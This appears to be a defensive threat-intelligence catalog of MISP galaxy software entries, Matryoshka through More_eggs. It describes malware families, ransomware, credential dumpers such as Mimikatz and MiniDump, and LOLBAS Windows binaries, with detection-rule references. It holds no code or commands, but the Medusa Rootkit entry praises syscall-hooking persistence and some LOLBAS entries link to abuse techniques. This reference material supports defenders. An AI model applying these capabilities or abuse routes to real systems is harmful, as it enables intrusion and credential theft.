[Matryoshka](https://app.tidalcyber.com/software/eeb700ea-2819-46f4-936d-f7592f20dedc) is a malware framework used by [CopyKittens](https://app.tidalcyber.com/groups/6a8f5eca-8ecc-4bff-9c5f-5380e044ed5b) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. ^{[[ClearSky Wilted Tulip July 2017](https://app.tidalcyber.com/references/50233005-8dc4-4e91-9477-df574271df40)]} ^{[[CopyKittens Nov 2015](https://app.tidalcyber.com/references/04e3ce40-5487-4931-98db-f55da83f412e)]}

The tag is: *misp-galaxy:software="Matryoshka"*

Mavinject

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by App-v in Windows

Author: Oddvar Moe

Paths: * C:\Windows\System32\mavinject.exe * C:\Windows\SysWOW64\mavinject.exe

Resources: * https://twitter.com/gN3mes1s/status/941315826107510784 * https://twitter.com/Hexcorn/status/776122138063409152 * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

Detection: * Sigma: [proc_creation_win_lolbin_mavinject_process_injection.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml) * IOC: mavinject.exe should not run unless APP-v is in use on the workstation^{[[LOLBAS Mavinject](/references/4ba7fa89-006b-4fbf-aa6c-6775842c97a4)]}

The tag is: *misp-galaxy:software="Mavinject"*

Maze

[Maze](https://app.tidalcyber.com/software/3c206491-45c0-4ff7-9f40-45f9aae4de64) ransomware, previously known as "ChaCha", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [Maze](https://app.tidalcyber.com/software/3c206491-45c0-4ff7-9f40-45f9aae4de64) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.^{[[FireEye Maze May 2020](https://app.tidalcyber.com/references/02338a66-6820-4505-8239-a1f1fcc60d32)]}^{[[McAfee Maze March 2020](https://app.tidalcyber.com/references/627a14dd-5300-4f58-869c-0ec91ffb664e)]}^{[[Sophos Maze VM September 2020](https://app.tidalcyber.com/references/9c4bbcbb-2c18-453c-8b02-0a0cd512c3f3)]}

The tag is: *misp-galaxy:software="Maze"*

MBR Killer

MBR Killer is a wiper malware observed during a May 2023 data theft and wiper campaign and a 2016 attack on Banco de Chile.^{[[The DFIR Report Truebot June 12 2023](/references/a6311a66-bb36-4cad-a98f-2b0b89aafa3d)]}

The tag is: *misp-galaxy:software="MBR Killer"*

MCMD

[MCMD](https://app.tidalcyber.com/software/939cbe39-5b63-4651-b0c0-85ac39cb9f0e) is a remote access tool that provides remote command shell capability used by [Dragonfly 2.0]([Secureworks MCMD July 2019(https://app.tidalcyber.com/references/f7364cfc-5a3b-4538-80d0-cae65f3c6592)]</sup>

The tag is: *misp-galaxy:software="MCMD"*

MechaFlounder

[MechaFlounder](https://app.tidalcyber.com/software/31cbe3c8-be88-4a4f-891d-04c3bb7ed482) is a python-based remote access tool (RAT) that has been used by [APT39](https://app.tidalcyber.com/groups/a57b52c7-9f64-4ffe-a7c3-0de738fb2af1). The payload uses a combination of actor developed code and code snippets freely available online in development communities.<sup>[[Unit 42 MechaFlounder March 2019](https://app.tidalcyber.com/references/2263af27-9c30-4bf6-a204-

2f148ebdd17c)]</sup>

The tag is: *misp-galaxy:software="MechaFlounder"*

MedusaLocker Ransomware

MedusaLocker is a ransomware-as-a-service ("RaaS") operation that has been active since September 2019. U.S. cybersecurity authorities indicate that MedusaLocker operators have primarily targeted victims in the healthcare sector, among other unspecified sectors. Initial access for MedusaLocker intrusions originally came via phishing and spam email campaigns, but since 2022 has typically occurred via exploit of vulnerable Remote Desktop Protocol devices.^{[[HC3 Analyst Note MedusaLocker Ransomware February 2023](/references/49e314d6-5324-41e0-8bee-2b3e08d5e12f)]}

Malpedia (Research): https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker

Malware Bazaar (Samples & IOCs): https://bazaar.abuse.ch/browse/tag/medusalocker/

The tag is: *misp-galaxy:software="MedusaLocker Ransomware"*

Medusa Ransomware

This object reflects the ATT&CK Techniques associated with the Medusa Ransomware encryptor tool. Medusa is a ransomware-as-a-service (RaaS) operation that employs a double extortion model, encrypting victim data and threatening to release exfiltrated data if a ransom is not paid.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="Medusa Ransomware"*

Medusa Rootkit

Medusa is a powerful, stealthy, versatile, and, modular rootkit designed to give attackers complete control over Linux systems. Medusa is compiled and ready to be executed as a small ELF executable file, which no means extra building or configuration requirements! Medusa is larger than a few hundred kilobytes in size. Once installed, the rootkit sets up a dynamic linker that modifies the way applications are loaded and executed on the system. At this point the Medusa hooks a plethora of API system calls, library functions and signal handlers to achieve imbreakable and uninterceptable persistence. Medusa intercepts a plethoa of system calls made by all applications on the Medusa infected machine.. Hooking these system calls allows a Medusa to control and modify the behavior when system call is made. For example, with stat() family calls, a user can specify what information should be returned when those calls are made, or make changes to the permissions of files and directories. With access(), the user can control who has permission to what areas of the system. With write(), read(), open(), and their derivatives, Medusa can control what files and directories are accessed by the system, and what data is written to them. Truncate and chmod() / chown() allows for control over how files and directories are manipulated. Pututxline, updwtmp, and pututline are used for managing user logins and account information.^{[[GitHub December 31 2022](/references/206a4707-06c2-4ce3-924b-15b48261a1a6)]}

The tag is: *misp-galaxy:software="Medusa Rootkit"*

Meduza

Meduza is an information stealer written in C++ that was first identified on Russian-speaking hacking forums in June 2023. Security researchers assess that Meduza may be developed by the same actors that developed Aurora, another prominent infostealer family.^{[[Meduza Stealer RussianPanda June 28 2023](/references/f7d3cc96-4c0f-4a87-8a79-abd3f0f84533)]}

The tag is: *misp-galaxy:software="Meduza"*

meek

[meek](https://app.tidalcyber.com/software/6c3bbcae-3217-43c7-b709-5c54bc7636b1) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.

The tag is: *misp-galaxy:software="meek"*

MEGAcmd

MEGAcmd is an open-source tool that enables non-UI access (e.g., via command line interaction or scripts) to the MEGA cloud storage/file sharing service.^{[[GitHub meganz MEGAcmd](/references/6e4d67f5-cca1-4298-b21c-d7511aa264ae)]}

The tag is: *misp-galaxy:software="MEGAcmd"*

MegaCortex

[MegaCortex](https://app.tidalcyber.com/software/d8a4a817-2914-47b0-867c-ad8eeb7efd10) is ransomware that first appeared in May 2019. ^{[[IBM MegaCortex](https://app.tidalcyber.com/references/3d70d9b7-88e4-411e-a59a-bc862da965a7)]} [MegaCortex](https://app.tidalcyber.com/software/d8a4a817-2914-47b0-867c-ad8eeb7efd10) has mainly targeted industrial organizations. ^{[[FireEye Ransomware Disrupt Industrial Production](https://app.tidalcyber.com/references/9ffa0f35-98e4-4265-8b66-9c805a2b6525)]}^{[[FireEye Financial Actors Moving into OT](https://app.tidalcyber.com/references/4bd514b8-1f79-4946-b001-110ce5cf29a9)]}

The tag is: *misp-galaxy:software="MegaCortex"*

MEGAsync

A legitimate binary that automates syncing between an endpoint and the MEGA Cloud Drive.^{[[GitHub meganz MEGAsync](/references/6e59c47d-597c-4687-942f-9f1cf1db75d5)]} Adversaries are known to abuse the tool for data exfiltration purposes.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

The tag is: *misp-galaxy:software="MEGAsync"*

Megazord

[Megazord](https://app.tidalcyber.com/software/462185ea-09b9-50b2-88f4-b1956d8cb392) is a Rust-based variant of [Akira](https://app.tidalcyber.com/software/96ae0e1e-975a-5e11-adbe-c79ee17cee11) ransomware that has been in use since at least August 2023 to target Windows environments. [Megazord](https://app.tidalcyber.com/software/462185ea-09b9-50b2-88f4-b1956d8cb392) has been attributed to the [Akira](https://app.tidalcyber.com/groups/923f478c-7ad1-516f-986d-61f96b9c553e) group based on overlapping infrastructure though is possibly not exclusive to the group.^{[[CISA Akira Ransomware APR 2024](https://app.tidalcyber.com/references/bfa99833-7ddf-576a-958c-adac87da09c8)]}^{[[Cisco Akira Ransomware OCT 2024](https://app.tidalcyber.com/references/fa57d7ae-c0d2-58cd-8a91-a242f7348d60)]}^{[[Palo Alto Howling Scorpius DEC 2024](https://app.tidalcyber.com/references/26d3e738-8921-51bc-a71c-7e74278a6a78)]}

The tag is: *misp-galaxy:software="Megazord"*

Melcoz

[Melcoz](https://app.tidalcyber.com/software/aa844e6b-feda-4928-8c6d-c59f7be88da0) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://app.tidalcyber.com/software/aa844e6b-feda-4928-8c6d-c59f7be88da0) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.^{[[Securelist Brazilian Banking Malware July 2020](https://app.tidalcyber.com/references/ccc34875-93f3-40ed-a9ee-f31b86708507)]}

The tag is: *misp-galaxy:software="Melcoz"*

Merlin

Merlin is a cross-platform post-exploitation framework that leverages HTTP/2 communications to evade detection. It is designed for use in penetration testing and red team exercises.^{[[Medium December 18 2017](/references/097005e0-8887-4cb7-b821-fd96e9f1dbd9)]}

The tag is: *misp-galaxy:software="Merlin"*

MESSAGETAP

[MESSAGETAP](https://app.tidalcyber.com/software/15d7e478-349d-42e6-802d-f16302b98319) is a data mining malware family deployed by [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. ^{[[FireEye MESSAGETAP October 2019](https://app.tidalcyber.com/references/f56380e8-3cfa-407c-a493-7f9e50ba3867)]}

The tag is: *misp-galaxy:software="MESSAGETAP"*

metaMain

[metaMain](https://app.tidalcyber.com/software/0a9874bf-4f02-5fab-8ab6-d0f42c6bc71d) is a backdoor used by [Metador](https://app.tidalcyber.com/groups/a3a3a1d3-7fe7-5578-8c5f-9c0f2f68079b) to maintain long-term access to compromised machines; it has also been used to decrypt [Mafalda](https://app.tidalcyber.com/software/7506616c-b808-54fb-9982-072a0dcf8a04) into memory.^{[[SentinelLabs Metador Sept 2022](https://app.tidalcyber.com/references/137474b7-638a-56d7-9ce2-ab906f207175)]}^{[[SentinelLabs Metador Technical Appendix Sept 2022](https://app.tidalcyber.com/references/aa021076-e9c5-5428-a938-c10cfb6b7c97)]}

The tag is: *misp-galaxy:software="metaMain"*

Metamorfo

[Metamorfo](https://app.tidalcyber.com/software/ca607087-25ad-4a91-af83-608646cccbcb) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.^{[[Medium Metamorfo Apr 2020](https://app.tidalcyber.com/references/356defac-b976-41c1-aac8-5d6ff0c80e28)]}^{[[ESET Casbaneiro Oct 2019](https://app.tidalcyber.com/references/a5cb3ee6-9a0b-4e90-bf32-be7177a858b1)]}

The tag is: *misp-galaxy:software="Metamorfo"*

Metasploit

The Metasploit Framework is an open-source software project that aids in penetration testing.^{[[Metasploit_Ref](/references/ab6ea6b3-3c71-4e69-9713-dae3e4446083)]} The software is often abused by malicious actors to perform a range of post-exploitation activities.

The tag is: *misp-galaxy:software="Metasploit"*

MetaStealer

MetaStealer is an information-stealing malware ("infostealer") designed to harvest passwords, cookies, and other sensitive information from victim systems.^{[[SentinelOne 9 11 2023](/references/0d015be9-34ba-4c59-9cea-80b76ee89dd0)]}

The tag is: *misp-galaxy:software="MetaStealer"*

Meteor

[Meteor](https://app.tidalcyber.com/software/ee07030e-ff50-404b-ad27-ab999fc1a23a) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://app.tidalcyber.com/software/ee07030e-ff50-404b-ad27-ab999fc1a23a) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called "Indra" since at least 2019 against private companies in Syria.<sup>[[Check Point Meteor Aug 2021](https://app.tidalcyber.com/

references/bb79207f-3ab4-4b86-8b1c-d587724efb7c)]</sup>

The tag is: *misp-galaxy:software="Meteor"*

Meterpreter

Meterpreter is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code. It is deployed using in-memory DLL injection, resides entirely in memory, and writes nothing to disk, minimizing forensic footprint.^{[[Secret Double Octopus September 7 2022](/references/8fd46ee3-9819-4c7b-b56e-322de5657fad)]}

The tag is: *misp-galaxy:software="Meterpreter"*

Mftrace

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Trace log generation tool for Media Foundation Tools.

Author: Oddvar Moe

Paths: * C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x86 * C:\Program Files (x86)\Windows Kits\10\bin\10.0.16299.0\x64 * C:\Program Files (x86)\Windows Kits\10\bin\x86 * C:\Program Files (x86)\Windows Kits\10\bin\x64

Resources: * https://twitter.com/0rbz_/status/988911181422186496

Detection: * Sigma: [proc_creation_win_lolbin_mftrace.yml]([Mftrace.exe - LOLBAS Project(/references/b6d42cc9-1bf0-4389-8654-90b8d4e7ff49)]</sup>

The tag is: *misp-galaxy:software="Mftrace"*

MgBot

[MgBot](https://app.tidalcyber.com/software/df390ec3-6557-524d-8a89-3fceff24ca96) is a modular malware framework exclusively associated with [Daggerfly](https://app.tidalcyber.com/groups/f0dab388-1641-50aa-b0b2-6bdb816e0490) operations since at least 2012. [MgBot](https://app.tidalcyber.com/software/df390ec3-6557-524d-8a89-3fceff24ca96) was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.^{[[Szappanos MgBot 2014](https://app.tidalcyber.com/references/d2742561-6d0a-54d6-9c6d-1e2cd789dcc4)]}^{[[ESET EvasivePanda 2023](https://app.tidalcyber.com/references/08026c7e-cc35-5d51-9536-a02febd1a891)]}^{[[Symantec Daggerfly 2024](https://app.tidalcyber.com/references/1dadd09e-e7b0-50a1-ba3d-413780dbeb80)]}

The tag is: *misp-galaxy:software="MgBot"*

Micropsia

[Micropsia](https://app.tidalcyber.com/software/5879efc1-f122-43ec-a80d-e25aa449594d) is a remote access tool written in Delphi.^{[[Talos Micropsia June 2017](https://app.tidalcyber.com/references/c727152c-079a-4ff9-a0e5-face919cf59b)]}^{[[Radware Micropsia July 2018](https://app.tidalcyber.com/references/8771ed60-eecb-4e0c-b22c-0c26d30d4dec)]}

The tag is: *misp-galaxy:software="Micropsia"*

Microsoft.NodejsTools.PressAnyKey

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Part of the NodeJS Visual Studio tools.

Author: mr.d0x

Paths: * C:\Program Files\Microsoft Visual Studio*\Community\Common7\IDE\Extensions\Microsoft\NodeJsTools\NodeJsTools\Microsoft.NodejsTools.PressAnyKey.exe * C:\Program Files (x86)\Microsoft Visual Studio*\Community\Common7\IDE\Extensions\Microsoft\NodeJsTools\NodeJsTools\Microsoft.NodejsTools.PressAnyKey.exe

Resources: * https://twitter.com/mrd0x/status/1463526834918854661

Detection: * Sigma: [proc_creation_win_renamed_pressanykey.yml](https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_renamed_pressanykey.yml) * Sigma: [proc_creation_win_pressanykey_lolbin_execution.yml]([Microsoft.NodejsTools.PressAnyKey.exe - LOLBAS Project](/references/25c46948-a648-4c3c-b442-e700df68fa20)]</sup>

The tag is: *misp-galaxy:software="Microsoft.NodejsTools.PressAnyKey"*

Microsoft.Workflow.Compiler

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: A utility included with .NET that is capable of compiling and executing C# or VB.net code.

Author: Conor Richard

Paths: * C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

Resources: * https://twitter.com/mattifestation/status/1030445200475185154 * https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb * https://gist.github.com/mattifestation/3e28d391adbd7fe3e0c722a107a25aba#file-workflowcompilerdetectiontests-ps1 * https://gist.github.com/mattifestation/7ba8fc8f724600a9f525714c9cf767fd#file-createcompilerinputxml-ps1 * https://www.forcepoint.com/blog/security-labs/using-c-post-powershell-attacks * https://www.fortynorthsecurity.com/microsoft-workflow-compiler-exe-veil-and-cobalt-strike/ * https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Detection: * Sigma: [proc_creation_win_lolbin_workflow_compiler.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_workflow_compiler.yml) * Splunk: [suspicious_microsoft_workflow_compiler_usage.yml](https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/suspicious_microsoft_workflow_compiler_usage.yml) * Splunk: [suspicious_microsoft_workflow_compiler_rename.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_microsoft_workflow_compiler_rename.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Microsoft.Workflow.Compiler.exe would not normally be run on workstations. * IOC: The presence of csc.exe or vbc.exe as child processes of Microsoft.Workflow.Compiler.exe * IOC: Presence of "<CompilerInput" in a text file.^{[[Microsoft.Workflow.Compiler.exe - LOLBAS Project](/references/1e659b32-a06f-45dc-a1eb-03f1a42c55ef)]}

The tag is: *misp-galaxy:software="Microsoft.Workflow.Compiler"*

Milan

[Milan](https://app.tidalcyber.com/software/57545dbc-c72a-409d-a373-bc35e25160cd) is a backdoor implant based on [DanBot](https://app.tidalcyber.com/software/131c0eb2-9191-4ccd-a2d6-5f36046a8f2f) that was written in Visual C++ and .NET. [Milan](https://app.tidalcyber.com/software/57545dbc-c72a-409d-a373-bc35e25160cd) has been used by [HEXANE](https://app.tidalcyber.com/groups/eecf7289-294f-48dd-a747-7705820f4735) since at least June 2020.^{[[ClearSky Siamesekitten August 2021](https://app.tidalcyber.com/references/9485efce-8d54-4461-b64e-0d15e31fbf8c)]}^{[[Kaspersky Lyceum October 2021](https://app.tidalcyber.com/references/b3d13a82-c24e-4b47-b47a-7221ad449859)]}

The tag is: *misp-galaxy:software="Milan"*

Mimikatz

[Mimikatz](https://app.tidalcyber.com/software/b8e7c0b4-49e4-4e8d-9467-b17f305ddf16) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. ^{[[Deply Mimikatz](https://app.tidalcyber.com/references/c92d890c-2839-433a-b458-f663e66e1c63)]} ^{[[Adsecurity Mimikatz Guide](https://app.tidalcyber.com/references/b251ed65-a145-4053-9dc2-bf0dad83d76c)]}

The tag is: *misp-galaxy:software="Mimikatz"*

MimiPenguin

[MimiPenguin](https://app.tidalcyber.com/software/42350632-b59a-4cc5-995e-d95d8c608553) is a credential dumper, similar to [Mimikatz](https://app.tidalcyber.com/software/b8e7c0b4-49e4-4e8d-9467-b17f305ddf16), designed specifically for Linux platforms. ^{[[MimiPenguin GitHub May 2017](https://app.tidalcyber.com/references/b10cd6cc-35ed-4eac-b213-110de28f33ef)]}

The tag is: *misp-galaxy:software="MimiPenguin"*

Miner-C

[Miner-C](https://app.tidalcyber.com/software/c0dea9db-1551-4f6c-8a19-182efc34093a) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. ^{[[Softpedia MinerC](https://app.tidalcyber.com/references/087b9bf1-bd9e-4cd6-a386-d9d2c812c927)]}

The tag is: *misp-galaxy:software="Miner-C"*

MiniDuke

[MiniDuke](https://app.tidalcyber.com/software/2bb16809-6bc3-46c3-b28a-39cb49410340) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) from 2010 to 2015. The [MiniDuke](https://app.tidalcyber.com/software/2bb16809-

6bc3-46c3-b28a-39cb49410340) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://app.tidalcyber.com/software/2bb16809-6bc3-46c3-b28a-39cb49410340) components as well as in conjunction with [CosmicDuke](https://app.tidalcyber.com/software/43b317c6-5b4f-47b8-b7b4-15cd6f455091) and [PinchDuke](https://app.tidalcyber.com/software/ba2208c8-5e1e-46cd-bef1-ffa7a2be3be4). ^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]}

The tag is: *misp-galaxy:software="MiniDuke"*

MiniDump

MiniDump is a hack tool used to dump the LSASS process memory for credential extraction.^{[[Comsvcs.dll - LOLBAS Project](/references/2eb2756d-5a49-4df3-9e2f-104c41c645cd)]}

The tag is: *misp-galaxy:software="MiniDump"*

MirageFox

[MirageFox](https://app.tidalcyber.com/software/535f1b97-7a70-4d18-be4e-3a9f74ccf78a) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. ^{[[APT15 Intezer June 2018](https://app.tidalcyber.com/references/0110500c-bf67-43a5-97cb-16eb6c01040b)]}

The tag is: *misp-galaxy:software="MirageFox"*

Misdat

[Misdat](https://app.tidalcyber.com/software/4048afa2-79c8-4d38-8219-2207adddd884) is a backdoor that was used in [Operation Dust Storm](https://app.tidalcyber.com/campaigns/af0c0f55-dc4f-4cb5-9350-3a2d7c07595f) from 2010 to 2011.^{[[Cylance Dust Storm](https://app.tidalcyber.com/references/001dd53c-74e6-4add-aeb7-da76b0d2afe8)]}

The tag is: *misp-galaxy:software="Misdat"*

Mispadu

[Mispadu](https://app.tidalcyber.com/software/758e5226-6015-5cc7-af4b-20fa35c9bac1) is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model.^{[[ESET Security Mispadu Facebook Ads 2019](https://app.tidalcyber.com/references/e1b945f4-20e0-5b69-8fd7-f05afce8c0ba)]}^{[[SCILabs Malteiro 2021](https://app.tidalcyber.com/references/c6948dfc-b133-556b-a8ac-b3a4dba09c0e)]} This malware is operated, managed, and sold by the [Malteiro](https://app.tidalcyber.com/groups/803f8018-6e45-5b0f-978f-1fe96b217120) cybercriminal group.^{[[SCILabs Malteiro 2021](https://app.tidalcyber.com/references/c6948dfc-b133-556b-a8ac-b3a4dba09c0e)]} [Mispadu](https://app.tidalcyber.com/software/758e5226-6015-5cc7-af4b-20fa35c9bac1) has mainly

been used to target victims in Brazil and Mexico, and has also had confirmed operations throughout Latin America and Europe.^{[[SCILabs Malteiro 2021](https://app.tidalcyber.com/references/c6948dfc-b133-556b-a8ac-b3a4dba09c0e)]}^{[[SCILabs URSA/Mispadu Evolution 2023](https://app.tidalcyber.com/references/a7a0db8d-bc1c-5e89-8c42-a3a6cc2cf28d)]}^{[[Segurança Informática URSA Sophisticated Loader 2020](https://app.tidalcyber.com/references/29d25b85-ae13-57d6-9e6f-d0f65783b5ac)]}

The tag is: *misp-galaxy:software="Mispadu"*

Mis-Type

[Mis-Type](https://app.tidalcyber.com/software/fe554d2e-f974-41d6-8e7a-701bd758355d) is a backdoor hybrid that was used in [Operation Dust Storm](https://app.tidalcyber.com/campaigns/af0c0f55-dc4f-4cb5-9350-3a2d7c07595f) by 2012.^{[[Cylance Dust Storm](https://app.tidalcyber.com/references/001dd53c-74e6-4add-aeb7-da76b0d2afe8)]}

The tag is: *misp-galaxy:software="Mis-Type"*

Mivast

[Mivast](https://app.tidalcyber.com/software/f603ea32-91c3-4b62-a60f-57670433b080) is a backdoor that has been used by [Deep Panda](https://app.tidalcyber.com/groups/43f826a1-e8c8-47b8-9b00-38e1b3e4293b). It was reportedly used in the Anthem breach. ^{[[Symantec Black Vine](https://app.tidalcyber.com/references/0b7745ce-04c0-41d9-a440-df9084a45d09)]}

The tag is: *misp-galaxy:software="Mivast"*

mkdir

mkdir is used to create directories.^{[[mkdir - Linux man page](/references/6f3add66-a668-4dd4-8f1a-310598ba227b)]}

The tag is: *misp-galaxy:software="mkdir"*

MKG

A credential dumping tool associated with Iran-linked espionage group OilRig.^{[[ESET OilRig September 21 2023](/references/21ee3e95-ac4b-48f7-b948-249e1884bc96)]}

The tag is: *misp-galaxy:software="MKG"*

Mmc

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Load snap-ins to locally and remotely manage Windows systems

Author: @bohops

Paths: * C:\Windows\System32\mmc.exe * C:\Windows\SysWOW64\mmc.exe

Resources: * https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ * https://offsec.almond.consulting/UAC-bypass-dotnet.html

Detection: * Sigma: [proc_creation_win_mmc_susp_child_process.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mmc_susp_child_process.yml) * Sigma: [file_event_win_uac_bypass_dotnet_profiler.yml]([Mmc.exe - LOLBAS Project(/references/490b6769-e386-4a3d-972e-5a919cb2f6f5)]</sup>

The tag is: *misp-galaxy:software="Mmc"*

MobileOrder

[MobileOrder](https://app.tidalcyber.com/software/116f913c-0d5e-43d1-ba0d-3a12127af8f6) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://app.tidalcyber.com/groups/6c1bdc51-f633-4512-8b20-04a11c2d97f4). ^{[[Scarlet Mimic Jan 2016](https://app.tidalcyber.com/references/f84a5b6d-3af1-45b1-ac55-69ceced8735f)]}

The tag is: *misp-galaxy:software="MobileOrder"*

MoleNet

[MoleNet](https://app.tidalcyber.com/software/7ca5debb-f813-4e06-98f8-d1186552e5d2) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.^{[[Cybereason Molerats Dec 2020](https://app.tidalcyber.com/references/81a10a4b-c66f-4526-882c-184436807e1d)]}

The tag is: *misp-galaxy:software="MoleNet"*

Moneybird

[Moneybird](https://app.tidalcyber.com/software/9bffdaff-a9dc-59fa-9899-9d987fa190dd) is a ransomware variant written in C++ associated with [Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a) operations. The name "Moneybird" is contained in the malware’s ransom note and as strings in the executable.^{[[CheckPoint Agrius 2023](https://app.tidalcyber.com/references/b3034b5d-1fe5-5677-a2e8-9329141875d4)]}

The tag is: *misp-galaxy:software="Moneybird"*

Mongall

[Mongall](https://app.tidalcyber.com/software/7f5355b3-e819-4c82-a0fa-b80fda8fd6e6) is a backdoor that has been used since at least 2013, including by [Aoqin Dragon]([SentinelOne Aoqin Dragon June 2022(https://app.tidalcyber.com/references/b4e792e0-b1fa-4639-98b1-233aaec53594)]</sup>

The tag is: *misp-galaxy:software="Mongall"*

Monti Ransomware

Monti is a ransomware identified in June 2022. Researchers have drawn comparisons between Monti and Conti ransomware, whose source code was leaked earlier that year. Windows and Linux variants of Monti have been identified.^{[[Trend Micro August 14 2023](/references/12d2fbc5-f9cb-41b5-96a6-1cd100b5a173)]}

The tag is: *misp-galaxy:software="Monti Ransomware"*

MoonWind

[MoonWind](https://app.tidalcyber.com/software/a699f32f-6596-4060-8fcd-42587a844b80) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. ^{[[Palo Alto MoonWind March 2017](https://app.tidalcyber.com/references/4f3d7a08-2cf5-49ed-8bcd-6df180f3d194)]}

The tag is: *misp-galaxy:software="MoonWind"*

MOPSLED

MOPSLED is a shellcode-based modular backdoor that has the capability to communicate over HTTP or a custom binary protocol over TCP to its C2 server. The core functionality of MOPSLED involves expanding its capabilities by retrieving plugins from the C2 server. MOPSLED also uses a custom ChaCha20 encryption algorithm to decrypt embedded and external configuration files.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="MOPSLED"*

More_eggs

[More_eggs](https://app.tidalcyber.com/software/69f202e7-4bc9-4f4f-943f-330c053ae977) is a JScript backdoor used by [Cobalt Group](https://app.tidalcyber.com/groups/58db02e6-d908-47c2-bc82-ed58ada61331) and [FIN6](https://app.tidalcyber.com/groups/fcaadc12-7c17-4946-a9dc-976ed610854c). Its name was given based on the variable "More_eggs" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. ^{[[Talos Cobalt Group July 2018](https://app.tidalcyber.com/references/7cdfd0d1-f7e6-4625-91ff-f87f46f95864)]}^{[[Security Intelligence More Eggs Aug 2019](https://app.tidalcyber.com/references/f0a0286f-adb9-4a6e-85b5-5b0f45e6fbf3)]}

